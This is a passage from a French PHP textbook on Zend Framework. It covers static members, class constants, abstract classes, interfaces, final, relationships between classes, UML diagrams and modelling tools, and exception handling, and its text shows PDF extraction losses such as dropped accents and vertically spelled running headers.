Jusqu prsent, nous avons vu comment crire des classes, mettre en
place un hritage et crer des instances (des objets), grce au mot-cl
new. Nous savons galement comment manipuler les objets crs pour
faire appel aux mthodes et aux attributs dclars.
La variable spciale $this est utilise dans la classe pour rfrencer
lobjet qui sera plus tard cr.
Un attribut ou une mthode statique (mot-cl static) est li la classe
et non lobjet. Lorsquune modification est effectue sur un attribut
statique, toutes les instances (objets) de la classe subissent cette modifi-
cation, car celui-ci est unique et li la classe.
Une classe contenant un attribut et une mthode statiques
class Stylo extends Produit
{
private $_couleurEncre;

public function __construct($couleurEncre, $prix, $couleur)
{
$this->_couleurEncre = $couleurEncre;
parent::__construct($prix, $couleur);
}
}
class Compteur
{
private static $_count = 0;

public static function compter()
{
return ++self::$_count;
}
}
ATTENTION Hritage multiple
En PHP, lhritage multiple nest pas possible :
une classe ne peut avoir quune et une seule
mre, pas plus.
NOTER Hritage et visibilit
On peut changer la visibilit lorsquon hrite vers
une visibilit plus faible, mais pas vers une visibi-
lit plus forte. Un attribut dclar protg pourra
tre hrit et redfini protg ou public dans la
classe fille, mais pas priv. Ceci empcherait un
ventuel futur autre hritage.
SAVOIR Appel statique
Il est dusage de ne pas faire appel un attribut ou
une mthode statique partir dun objet. Dans
notre exemple, lappel $c1->compter() est
incorrect, mme si PHP le tolre tout en renvoyant
une erreur non bloquante. La mthode statique
compter() doit tre appele via la notation
Compteur::compter().
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
321
Lattribut dclar static est partag entre toutes les instances et ne
ncessite pas forcment la cration dune instance pour tre accessible.
Notez que pour accder de manire statique, on utilise le double deux-
points, prcd du nom de la classe. Si on se trouve dans une mthode
de la classe, le mot-cl self permet de la reprsenter.
Comme nous venons de le voir, les attributs et/ou mthodes statiques
sont persistants entre les objets. Ils sont lis la classe. Cette particula-
rit est telle que, dans le cas dun hritage, il ny a pas de redfinition
comme dans le cas dattributs et de mthodes non statiques. On peut
cela dit faire appel un lment statique de la classe mre partir de la
classe fille.
Hritage et contexte statique
Constantes de classe
Une classe peut possder ses propres constantes. En PHP, les constantes
sont dites de classe, il est sous-entendu quelles sont statiques. Elles
appartiennent la classe et donc lensemble des objets qui en seront
crs. Il nexiste pas de constante dobjet. Aussi, les constantes nont pas de
visibilit, elles sont considres comme tant implicitement publiques,
en permanence.
Pour dclarer une constante, il faut utiliser le mot-cl const.
$c1 = new Compteur();
echo $c1->compter(); // affiche 1 et une erreur PHP
echo Compteur::compter(); // affiche 2
$c2 = new Compteur();
echo $c2->compter(); // affiche 3 et une erreur PHP
class A
{
public static $a = 1;
public static $b = 2;
}
class B extends A
{
public static $a = 3;
}
echo A::$a; // Affiche 1
echo B::$a; // Affiche 3
echo B::$b; // Affiche 2
NOTER Appels statiques
Il est possible dappeler une mthode statique de
manire non statique. Il nest en revanche pas pos-
sible dappeler une mthode non statique de
manire statique. Une erreur de type E_STRICT
minimum sera leve, E_FATAL si la mthode
contient la pseudo-variable $this.
REMARQUE Dduction logique
Une mthode statique ne peut contenir la pseudo-
variable $this : cela na pas de sens.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
322
Dclaration de constantes de classe
Comme pour les attributs ou mthodes statiques, pour accder une
constante de classe depuis lextrieur de celle-ci, on utilise la syntaxe
nom-de-la-classe::CONSTANTE. Depuis lintrieur de la classe,
self::CONSTANTE.
Classes, mthodes abstraites et interfaces
Abstract
Grce lhritage, nous avons vu quil est possible de faire hriter une
classe fille dune classe mre. Parfois, il nest pas utile de crer des objets
partir de la classe mre, et nous souhaiterions empcher cela. Cest
dans ce cas que la notion de classe abstraite est utile.
Reprise de la classe mre qui comporte le code commun
Dans un exemple prcdent, nous avions une classe Produit drive en
deux classes Stylo et Livre. Tel que cela a t dclar, il est toujours pos-
sible de crer des objets de la classe Produit. Ceci na pas beaucoup de
sens, car un produit doit tre, dans notre cas, soit un livre, soit un stylo.
Ainsi, passer la classe Produit en classe abstraite permet dviter toute
cration dobjets directement avec cette classe.
La classe mre Produit devient abstraite
class Zend_Version
{
const VERSION = '1.6.1';
public static function compareVersion($version)
{
return version_compare($version, self::VERSION);
}
}
printf("Le Framework est en version %s",
Zend_Version::VERSION);
class Produit
{
// ...
}
abstract class Produit
{
// ...
}
CONVENTION criture dune constante
Une constante est systmatiquement crite en
majuscules. Cest une convention acquise et trs
utilise dans de nombreux projets, dont Zend Fra-
mework.
T Classe abstraite
Une classe abstraite est une classe partir de
laquelle on ne peut pas crer dobjets.
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
323
Le mot-cl abstract juste avant le mot-cl class permet de spcifier une
classe comme tant abstraite. Il nest dsormais plus possible de crer des
objets de la classe Produit directement. Cette classe sert dsormais relle-
ment de patron : elle met disposition une partie de son code (tout ce qui
a une visibilit autre que prive) aux classes qui vont en hriter.
La notion abstract peut aussi tre porte aux mthodes : une mthode
abstraite ne peut pas contenir de corps (dinstructions), elle est simple-
ment l pour dire aux futures classes filles quelles devront dfinir cette
mthode et son corps.
La classe abstraite Produit contient prsent une mthode abstraite
Cette fois-ci, notre classe, toujours abstraite, possde une mthode abs-
traite calculRemise(). Ceci signifie que toutes les classes qui vont
hriter de Produit vont devoir explicitement dclarer une mthode
publique calculRemise().
Notre classe Livre hrite de Produit et doit en dfinir toutes les mthodes abstraites
Si nous avions hrit de Produit sans dfinir de mthode
calculRemise(), PHP aurait renvoy une erreur E_FATAL :
Fatal error: Class Livre contains 1 abstract method and must
therefore be declared abstract or implement the remaining methods
(Produit::calculRemise) in PHPDocument1 on line 32
Cette technique est relativement pratique lorsque lon cre une classe
abstraite patron. On sait ce qui va tre hrit et on prvoit, via des
mthodes dclares comme abstraites, ce qui va se passer dans les classes
filles, mais sans en crire le code. Ce sera elles de le faire. On appelle
aussi cela la programmation par contrat.
abstract class Produit
{
// ...
abstract public function calculRemise();
}
class Livre extends Produit
{
// ...
public function calculRemise()
{
return $this->_prix * 0.15;
}
}
SAVOIR Classe et mthode abstraites
Toute classe qui possde au moins une mthode
abstraite doit alors tre dclare comme classe
abstraite.
LOGIQUE Mthode abstraite et visibilit
Dclarer une mthode abstraite avec une visibilit
prive est un contresens : elle est abstraite donc
elle devra tre redfinie dans une classe fille, mais
elle est prive dans la classe mre donc on ne peut
en hriter... PHP renverra une erreur E_FATAL.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
324
Interfaces
Les interfaces sont trs semblables aux classes abstraites, dans la mesure
o elles dfinissent un contrat que devront remplir les classes qui les
implmenteront.
Pour dclarer une interface, il faut utiliser le mot-cl interface.
Dclaration dune interface
Classe implmentant une interface
Cette classe implmente linterface Achetable. Il est donc obligatoire
quelle dfinisse les mthodes prsentes dans cette interface sous peine
dobtenir une erreur PHP E_FATAL.
Le gros avantage des interfaces, par rapport une classe abstraite ne con-
tenant que des mthodes abstraites est quen PHP, on ne peut hriter que
interface Achetable
{
function getPrice();
function getStock();
function sell($copies);
}
class Produit implements Achetable
{
protected $_price;
protected $_stock;

public function __construct($p, $s)
{
$this->_price = abs((int)$p);
$this->_stock = abs((float)$s);
}

public function getStock()
{
return $this->_stock;
}

public function getPrice()
{
return $this->_price;
}

public function sell($copies)
{
$this->_stock -= abs((int)$copies);
return $this->_price * $copies;
}
}
T Interface
Une interface nest pas une classe. On ne cre pas
dobjet depuis une interface. On nhrite pas dune
interface, mais on cre des classes qui vont
limplmenter. Comme nous le verrons galement,
une interface ne comporte pas de code utile mais
juste des dclarations.
NOTER Les mthodes dune interface
Une interface sert de patron : ses mthodes nont
pas de visibilit (il ne sagit pas dune classe), elles
nont pas non plus de corps (de code crit lint-
rieur), mais possdent une signature (des argu-
ments ventuels).
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
325
dune seule classe, mais on peut implmenter autant dinterfaces que lon
souhaite, du moment que lon dfinit toutes les mthodes de toutes les
interfaces que lon implmente. De mme, il nest pas interdit dhriter
dune classe alors que lon implmente une ou plusieurs interfaces.
Le trio classes, classes abstraites et interfaces, lorsquil est utilis bon
escient, permet de monter des structures de programmes dune souplesse
et agilit incroyables.
La programmation par contrat est le fait de dfinir des interfaces, et
ventuellement des classes abstraites, avant toute classe relle. Les diff-
rentes possibilits de coupler ces trois structures que sont la classe, la
classe abstraite et linterface, vont dfinir ce que lon appelle des motifs
de conception, ou encore design patterns, expliqus dans lannexe D.
Final
Le mot-cl final sapplique une classe ou une mthode. Si une classe
est dclare final, on ne pourra plus en hriter. Dans le cas dune
mthode, celle-ci est hrite (si elle nest pas prive), mais elle ne pourra
plus tre redfinie dans la classe fille.
Une classe finale : on ne peut plus en hriter
Ce code gnre une erreur E_FATAL, car on ne peut plus hriter dune
classe tant dclare comme final.
Une mthode finale : on ne peut plus la redfinir
final class Vehicule
{
// ...
}
class Voiture extends Vehicule // fatal error
{}
class Vehicule
{
final public function acheter()
{
// du code ici
}
}
class Voiture extends Vehicule
{
public function acheter() // fatal error
{}
}
RETENIR Classe abstraite ou interface ?
Si vous hsitez entre les deux, retenez bien ceci : le
rle dune classe abstraite est avant tout de facto-
riser des traitements et celui dune interface
dimposer une structure. Par le biais des mthodes
abstraites, une classe peut imposer la redfinition
dune mthode ayant le mme prototype dans la
classe fille, mais il est conseill de dlguer ce rle
linterface.
REMARQUE Final et visibilits
Dans une classe dclare final, les espaces de
visibilit priv et protg se confondent, tant
donn que lon ne peut plus en hriter.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
326
Le concept de final appuie encore plus le concept de la programmation
oriente objet : le concepteur dune classe peut vouloir bloquer lhritage
ou la redfinition dune classe ou mthode sil estime que ceci peut
savrer dangereux pour la stabilit du code gnral.
Modlisation et gnie logiciel
Tel que lintroduit Wikipdia, le gnie logiciel dsigne lensemble des
mthodes, des techniques et outils concourant la production dun logi-
ciel, au-del de la seule activit de programmation.
Programmer avec des objets napporte rien si lachitecture du code est
mauvaise. Avant de dvelopper, une tape de rflexion est ncessaire. Cest
la quantit dobjets et la manire dont ceux-ci interagissent les uns avec les
autres qui vont dterminer la souplesse et la qualit interne dun logiciel.
On a souvent recours des mthodes prouves pour monter les objets
les uns dans les autres, de manire trs cadre. Quelques-unes de ces
mthodes sappellent des motifs de conception, ou design patterns (voir
en annexe D).
Les relations entre classes
Lorsque deux classes sont lies, elles possdent une relation, que lon
peut alors nommer. On distingue ainsi au moins cinq relations distinctes
entre classes (on peut en distinguer plus, mais ceci dpasse le cadre de
cet ouvrage) : lhritage, lassociation, lagrgation, la composition et la
dpendance.
Lhritage
Comme nous lavons dj vu, lhritage est un lien entre deux classes (en
PHP, lhritage ne peut concerner que deux classes, pas plus). Cest le
lien de dpendance le plus fort qui existe, une classe tant un sous-type
de lautre, et la fille ne pouvant pas vivre sans sa mre, quoiquil arrive.
Lassociation
Lassociation est le fait quau moins une mthode dune classe A utilise
un objet issu dune autre classe B. On parle alors dassociation unidirec-
tionnelle. Si au moins une mthode de B utilise un objet de la classe A,
alors lassociation est dite bidirectionnelle.
PROPOS Web et logiciel
Nous parlons de logiciel, oui. Le Web stant for-
tement compliqu durant ces dix dernires annes
(et il est en perptuelle volution), il y a beaucoup
de points communs entre un systme dinforma-
tion web et un logiciel dit client lourd (tour-
nant dans un systme dexploitation). Nombre de
concepts existants du gnie logiciel sappliquent
ainsi merveille au cas du Web, y compris en PHP.
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
327
Il est conseill dviter au maximum les associations bidirectionnelles,
car elles induisent un couplage trs fort et sont souvent signe dune mau-
vaise analyse.
Exemple dassociation unidirectionnelle
Mme si dautres mthodes peuvent exister dans la classe Atelier, au
moins une dentre elles ncessite une instance de la classe Voiture. Il y a
alors association dAtelier vers Voiture.
Lagrgation
Lagrgation est une association particulire. Elle note le fait quun objet
(une partie) fait partie dun autre (le tout). Ceci se caractrise dans le code
par le fait quune classe possde un attribut qui est un objet instance
dune autre classe.
Il est important de noter que la vie de lobjet contenant est indpendante
de la vie de lobjet contenu.
Exemple dagrgation
class Atelier
{
public function reparer (Voiture $v)
{
$this->verifieRoues($v->getRoues());
$this->verifiePeintue($v->getPeinture());
// ...
}
}
class Train
{
public function __construct(Wagon $wagon)
{
$this->addWagon($wagon);
}
public function addWagon(Wagon $wagon)
{
//...
}
}
class Wagon
{
//...
}
T Couplage
Le couplage est le nombre de liaisons quune classe
possde avec dautres. Plus une classe en ncessite
dautres pour fonctionner, plus le couplage est fort,
et plus limpact du changement sera difficile pr-
voir et raliser. En gnie logiciel, il faut tout prix
garder un couplage le plus faible possible, de
manire augmenter la rutilisabilit des classes,
mme si cela nest pas toujours simple.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
328
Ici, nous voyons bien quun train comporte au moins un wagon, mais
nous pouvons crer lobjet Wagon que nous voulons et le passer au cons-
tructeur de Train. La classe Train est lie la classe Wagon, mais de
manire non intime.
La composition
La composition est une agrgation particulire, dans la mesure o elle
est plus forte. La diffrence entre les deux peut tre parfois difficile
cerner, mais la composition est non partageable et non isolable. Il faut
penser que lobjet composite B est une instance unique. Cest elle, elle
seule et toujours la mme, qui est contenue dans un objet compos A.
Lobjet A ne peut vivre sans son unique instance de B : par exemple, un
htel H ne peut exister sans une chambre C, et cette mme chambre C
ne peut pas tre isole (prise dans un contexte sans htel H), ni partage
entre plusieurs htels.
Exemple de composition
La dpendance
La dpendance est une association assez gnrique. Elle existe
lorsquaucune autre ne convient. Elle est matrialise par le fait que le
changement dans une signature de mthode dune classe B va induire un
changement dans lcriture de la classe A.
Exemple de dpendance
class Hotel
{
private $_chambre;
public function __construct()
{
$this->_chambre = new Chambre();
}
}
class Chambre
{
//...
}
class Personne
{
private $_nom;
public function __construct($nom)
{
$this->_nom = $nom;
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
329
Ici la dpendance est moindre, mais Personne va dpendre de Hotel, car
elle en utilise une mthode statique. Ainsi, lappel cette mthode
ncessitera la connaissance et linclusion de la classe Hotel. De mme, un
changement dans la signature de la mthode getChambre() inclura un
changement de son appel, dans la classe Personne.
En gnral, les liens dits de dpendance, comme celui-ci, sont plutt
reprsentatifs au niveau des paquetages.
Les diagrammes UML
Pour pouvoir discuter sereinement dun projet entre membres dune
mme quipe, il est indispensable de pouvoir modliser lapplication, ou
une partie de celle-ci.
Le langage normalis de modlisation dune application sappelle UML
(Unified Modeling Language). tant donn que ce langage est trs vaste,
des ouvrages entiers lui sont ddis. Nous naborderons ici que ce qui
concerne les diagrammes, en tentant de nous focaliser sur ceux que lon
utilise le plus souvent sur des projets PHP, et notamment ceux pilots
par Zend Framework.
Le diagramme de cas dutilisation
Le diagramme de cas dutilisation (use case) est utilis dans lanalyse
fonctionnelle du projet. Ce type de diagramme permet de mettre en
avant les interactions entre les acteurs et le systme. Il est donc nces-
saire de savoir identifier les acteurs qui ne sont pas obligatoirement
reprsents par des personnes physiques, mais souvent des rles : ladmi-
nistrateur, loprateur, lditeur...
Il faut ensuite pouvoir dfinir les actions que ces utilisateurs vont effec-
tuer avec le systme.
}
public function generateFacture()
{
$chambre = Hotel::getChambre($this->_nom);
// ...
}
}
class Hotel
{
public static function getChambre($personneName)
{
// ...
}
}
T Paquetage
Un paquetage (package) est une entit, en gnie
logiciel, reprsentant un groupement de classes
dont le rle logique est le mme. Par exemple,
dans Zend Framework, chaque composant est
un paquetage (Zend_Date, Zend_Db...). PHP
ne supporte pas, au niveau du langage, le type
package, la diffrence dautres langages
comme Java. Celui-ci est namoins signal dans la
PHPDoc grce la cl @package.
RFRENCES UML
R P. Roques, UML 2 par la pratique,
Eyrolles, 5
e
dition, 2008
R P. Roques, UML 2, Modliser une
application web, Eyrolles, 4
e
dition, 2008
R P. Roques, Mmento UML 2, Eyrolles,
2005
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
330
Le diagramme de classes
Ce diagramme est sans doute le plus utilis, car il permet de reprsenter
une classe ou un ensemble de classes, en prcisant les attributs et les
mthodes. Il est aussi possible de prciser les arguments accepts par les
mthodes, leur type et aussi le type de retour dune mthode. La
figure C-1 reprsente un diagramme de classes.
On note dans une classe :
les attributs en haut, puis, spares par un trait des attributs, les
mthodes ;
un attribut ou une mthode public avec un signe plus + ;
un attribut ou une mthode protg avec un signe dize # ;
un attribut ou une mthode priv avec un signe moins - ;
un attribut ou une mthode statique en soulign ;
une mthode abstraite en italique.
On peut aussi noter les types de retour des mthodes, ainsi que les types
des attributs. Ceci se fait avec le caractre deux-points +attribut:int,
par exemple.
Une classe abstraite est note en italique. Le strotype dune classe est
un type particulier, par exemple une classe de contrle, une classe de
donnes, une classe daffichage. Certains logiciels considrent linterface
comme un strotype de classe.
Lhritage est matrialis par une flche dont lextrmit est un triangle
ferm. La flche va de la fille vers la mre, et en gnral la flche va du
Figure C1
Un diagramme de classes en UML
PHP Types
PHP est faiblement typ. On omet souvent de
noter le type des attributs et des mthodes. Cela
peut toutefois tre dstabilisant, surtout si les
noms des mthodes ou des attributs sont peu
explicites quant au type utilis/retourn.
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
331
bas vers le haut. Lorsquune classe implmente une interface, la flche
est la mme que pour lhritage, mais son trait est en pointill.
Une association est reprsente par une flche non triangulaire, et plus
petite. Elle va de la classe utilisatrice vers la classe utilise.
Lagrgation est note par un losange blanc. Il est du ct de la classe
intresse, soit la classe qui agrge. La composition est matrialise par
un losange noir (ou plein), comme pour lagrgation. Celui-ci est du ct
de la classe qui se compose (contient les instances dune autre classe).
Le diagramme de squence
Les diagrammes de squence font intervenir le facteur temps, en plus
des objets. Ils sont destins reprsenter les messages changs entre les
objets au fur et mesure du temps.
Le diagramme se lit de haut en bas (sens dcoulement du temps) et de
gauche droite (le point dentre se situe gauche). Les objets sont
reprsents verticalement, le long dune ligne dsignant le temps, et
chaque rectangle reprsente un traitement. Les messages entre les objets
sont nots horizontalement.
Ce diagramme est trs pratique pour dmontrer le flux dexcution dun
cas dutilisation, au travers des objets, en mettant notamment en avant
les appels de mthodes entre objets, et leurs valeurs de retour.
La rtro-ingnierie
La rtro-ingnierie, ou ingnierie inverse (reverse engineering), permet de
partir dun code source pour gnrer les diagrammes UML. Cette acti-
vit est trs pratique concernant les codes sources PHP dont on na pas
les diagrammes, ce qui est le cas de Zend Framework.
La rtro-ingnierie se fait au moyen de PHP lui-mme et notamment
lAPI Rflexion (explique plus loin dans ce chapitre), qui permet
PHP danalyser sa propre structure. Des programmes crits en PHP et
utilisables en ligne de commande se chargent de lingnierie inverse : on
peut citer PHP2XMI, ou PHIMX.
REMARQUE Les diagrammes UML
UML est charg et se dcline en plusieurs versions,
tout comme chaque diagramme prsent ici. Nous
ne vous avons donn quun aperu limit de ceux-
ci, qui peuvent savrer beaucoup plus complets et
complexes.
Figure C2
Un diagramme de squence UML
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
332
Un fichier XMI (XML Metadata Interchange) est gnr par le pro-
gramme PHP, et va tre lu par le logiciel de modlisation, afin de pou-
voir restituer les donnes mtier. La figure C-3 prsente le concept de
rtro-ingnierie.
Bien quintressante, cette mthode a tout de mme ses limites :
il existe plusieurs versions de formats de fichiers XMI, et certains
logiciels ne les lisent pas tous ;
seules les informations dhritage sont restitues, et tout ce qui con-
cerne lutilisation dobjets entre eux (association, composition, agr-
gation) ne lest pas ;
PHP tant faiblement typ, la restitution des types des paramtres
des mthodes, ainsi que de leur valeur de retour, est trs incomplte,
voire absente ;
ne vous attendez pas un diagramme prt imprimer. Vous ne rcu-
prez que les donnes brutes (les classes et certains types de donnes).
vous de les agencer convenablement par la suite, le travail peut tre
trs long.
Les logiciels de modlisation
Comme pour tous les logiciels, il en existe de nombreux concernant la
modlisation UML. Il faut retenir cependant les critres principaux lors
de son choix :
le type de licence et le prix du logiciel ;
la capacit gnrer du code partir du modle ;
Figure C3
Le principe de rtro-ingnierie PHP-UML
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
333
la capacit traiter la rtro-ingnierie (le format XMI) ;
les types de diagrammes pris en compte.
Disons-le tout de suite, il nexiste pas des centaines de logiciels de mod-
lisation UML pour PHP. En revanche, concernant les autres langages,
notamment orients objet comme Java ou C++ , il y a largement le choix.
Aussi, en PHP, nous avons rarement besoin de plus de quatre types de dia-
grammes, les diagrammes de classe et de squence tant les plus utiliss.
ArgoUML
ArgoUML est sous licence BSD ; il fonctionne avec un environnement
Java, donc sous tout OS. Il est relativement rapide, lger et simple
prendre en main. Son parseur XMI est de bonne facture, il traite trs
bien la rtro-ingnierie et sait gnrer du code PHP 5 partir dun dia-
gramme de classes. On relve nanmoins quelques failles sur la gestion
des types PHP, sans gravit. Par contre, aussi surprenant que cela puisse
paratre, il nexiste pas de fonctions copier/couper/coller...
Umbrello
Umbrello est un outil libre, qui nest disponible que sous Linux, et qui
sinstalle via le systme de paquetages de la distribution.
Lger, il est cependant assez lent sur les gros projets comprenant beau-
coup de classes. En revanche, sa lecture du XMI est bonne et il gre cor-
rectement les types de donnes PHP 5. Il sait galement trs bien
gnrer du code partir dun diagramme de classes.
Figure C4
argoUML
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
334
StarUML
StarUML ne fonctionne que sous Windows. Sous licence GNU, cest un
programme assez complet, qui intgre des mthodologies comme MDA
ou Rationnal Approach. De plus, il propose un systme de plugins per-
mettant dtendre ses fonctionnalits.
Malheureusement, le langage PHP nest pas (encore ?) pris en charge, ce
qui limite son intrt dans le cadre dun projet sous ce langage.
Dia
Dia est un logiciel de cration de diagrammes dentreprises ( la manire
de Microsoft Visio) qui gre lUML. Il est sous licence GPL et utilise
GTK+ pour fonctionner. On le trouve dans les systme de paquetages de
Linux, il est aussi disponible pour Windows ou Mac.
Figure C5
Umbrello
Figure C6
starUML
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
335
Il nest pas capable de lire les fichiers XMI et fait donc limpasse sur
lingnierie inverse. Il est cependant capable de grer PHP 5 par lajout
dun plugin libre et gratuit appel UML2PHP5. Ce plugin lui ajoute la
facult de transformer un diagramme de classes UML en code PHP 5.
Concepts objet PHP avancs
PHP regorge de fonctionnalits trs pratiques concernant les objets. La
bonne utilisation de ces fonctionnalits, associe une bonne utilisation
du modle objet en gnral, permet de mettre en place des structures
tonnamment dynamiques, souples et puissantes.
Cest grce ces fonctionnalits que des frameworks comme Zend Fra-
mework ont pu voir le jour. Nul doute l-dessus : PHP possde dsor-
mais un modle objet trs puissant et en constante volution. Nous
allons, dans cette partie, faire le tour des concepts objet avancs de PHP.
Les exceptions
Les exceptions sont un concept essentiel de la programmation oriente
objet. Elles rpondent un constat simple : la plupart du temps, nous
crivons des classes dont nous ne serons pas utilisateurs, et nous utilisons
des objets issus de classes que nous navons pas cres (Zend Framework,
par exemple).
Lorsque nous utilisons un objet de manire incorrecte, ou lorsque lon
dtecte une manire incorrecte dutiliser les futurs objets issus de nos
classes (selon o lon se place, en tant quutilisateur ou crateur), une
exception doit tre lance.
Figure C7
Dia
T Exceptions
Nous lanons (throw) des exceptions quil sera
ensuite possible dattraper (catch). Pour cela, il
faudra essayer (try) un algorithme.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
336
Par exemple, une mthode dune classe qui se connecte une base de
donnes devrait envoyer une exception dans le cas o le serveur de bases
de donnes est inaccessible.
Le bloc try/catch permet de tester un algorithme afin den intercepter
les ventuelles exceptions :
Un bloc try/catch
De lautre ct, la mthode complexMethod() devrait utiliser le mot-cl
throw afin denvoyer une exception :
Envoyer une exception
Il est immdiatement remarquable quune exception est un objet, issu de
la classe Exception. Cette classe est interne PHP, elle agit comme
toute autre classe. Sa seule particularit est quil nest possible denvoyer
(mot-cl throw) quun objet provenant de la classe Exception, ou dune
de ses classes filles.
Les attributs de la classe tant privs ou protgs, nous ne pouvons y
accder partir de lobjet Exception. En revanche, des mthodes exis-
tent, et leur nom est assez explicite.
Reprenons notre classe Produit utilise dans les paragraphes prcdents,
et ajoutons-lui la gestion des exceptions :
try {
$object->complexMethod();
} catch (Exception $e) {
echo $e;
}
throw new Exception ("impossible deffectuer cette action");
Figure C8
Diagramme de la classe Exception
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
337
Exemple concret dutilisation des exceptions
Utilisation de la classe Produit
Cet exemple, en revanche, naffiche rien, car lexception nest envoye
que si on tente de vendre un nombre de produits suprieur au stock
actuel. Le stock est ici de 20, et nous vendons 15 produits : tout va bien.
Dans le cas contraire, le bloc catch aurait t excut.
Il est obligatoire de typer lexception que lon souhaite intercepter, tout
simplement parce quun algorithme peut envoyer plusieurs types dexcep-
class Produit
{
protected $_prix;
protected $_stock;

public function __construct($p, $s)
{
$this->_prix = abs((float)$p);
$this->_stock = abs((int)$s);
}

public function getStock()
{
return $this->_stock;
}

public function getPrix()
{
return $this->_prix;
}

public function vendre($ex)
{
$exemplaires = abs((int)$ex);
if ($exemplaires > $this->_stock) {
throw new Exception ('Stock insuffisant');
}
$this->_stock -= $exemplaires;
return $this->_prix * $exemplaires;
}
}
$produit = new Produit(10, 20);
try {
$facture = $produit->vendre(15);
} catch (Exception $e) {
echo "Un problme est survenu :", $e->getMessage(), "\n";
echo "Dans le fichier {$e->getFile()}";
echo " la ligne {$e->getLine()}";
}
REMARQUE Bloc try/catch facultatif
Contrairement dautres langages, nous aurions
pu ne pas utiliser de bloc try/catch. Cepen-
dant, si une exception est envoye (throw) mais
non intercepte, alors PHP gnrera une erreur
E_FATAL. Notez aussi quil nexiste pas dinter-
face Throwable, comme en Java.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
338
tion. Chacune sera alors gre dune manire diffrente, il suffira
denchaner les blocs catch :
Exemple dexceptions avec ZendFramework
Chacune des classes dexception du Zend Framework hrite de
Exception, sinon il naurait pas t possible de les envoyer via throw.
Lintrt apparat tout de suite : on peut traiter chacune des exceptions
dune manire bien spcifique. Il faut ainsi les intercepter de la plus sp-
cifique la plus gnrique.
Il est aussi possible, pourquoi pas, de redfinir certaines mthodes de la
classe Exception :
Une classe dexception personnalise
Lorsquune telle exception sera envoye, elle enregistrera automatique-
ment le message quon lui passe, dans un fichier de journalisation.
Nous avons redfini le constructeur dans ce but, en ajoutant simplement
lenregistrement dans le journal, sans oublier dappeler le constructeur
parent, afin que lobjet Exception soit pleinement construit.
Il aurait pu tre intressant aussi dexploiter le code. Lapprciation du
code de lexception, ainsi que sa signification, est laisse au dveloppeur.
try {
$db = Zend_Db::factory('Pdo_Mysql', $parameters);
$db->getConnection();
} catch (Zend_Db_Adapter_Exception $e) {
echo "Problme de connexion au SGBD";
} catch (Zend_Exception $e) {
echo "Impossible de charger la classe PDO_Mysql";
}
class MyException extends Exception
{
protected static $_logFile = 'chemin/exceptions.log';

public function __construct ($message = '', $code = 0)
{
$this->_log(self::$_logFile);
parent::__construct($message, $code);
}

protected function _log($where)
{
file_put_contents($where, $this->getMessage(),
FILE_APPEND);
}
}
C


P
r
o
g
r
a
m
m
a
t
i
o
n

o
r
i
e
n
t

e

o
b
j
e
t
Groupe Eyrolles, 2008
339
En gros, vous pouvez lutiliser comme vous le souhaitez, PHP nen fait
rien pour lui-mme.
Voici un exemple qui analyse le code de lexception et, dans certains cas,
la renvoie :
Exemple de renvoi dune exception
Ici, dans un bloc try/catch, si nous attrapons une exception, quel quen
soit son type, nous analysons son code. Dans le cas dun code 500, nous
arrtons le programme en affichant toute la trace de lexception lcran.
Dans le cas contraire, nous la laissons schapper, en esprant quun tel
code soit lui-mme entour dun autre bloc try/catch.
Imbrication de blocs try/catch
Ici, nous essayons denvoyer une exception sans code. Le code prendra la
valeur 0 par dfaut et lexception sera donc attrape, puis renvoye, pour
tre finalement intercepte dans le bloc catch de dernier niveau.
Dans le cas o nous aurions utilis un code 500, avec une syntaxe throw
new Exception('Message', 500); alors la trace aurait t affiche et le
programme se serait arrt cause de exit().
try {
$unObjet->uneMethodeComplexe();
} catch (Exception $e) {
if($e->getCode() == 500) {
exit($e->getTraceAsString());
} else {
throw $e; // Renvoi de lException
}
}
function uneFonctionPHP()
{
try {
throw new Exception('Une exception est survenue');
} catch (Exception $e) {
if($e->getCode() == 500) {
exit($e->getTraceAsString());
} else {
throw $e; // Renvoi de lException
}
}
}
try{
uneFonctionPHP();
} catch (Exception $e) {
echo $e->getMessage();
}
Z
e
n
d

F
r
a
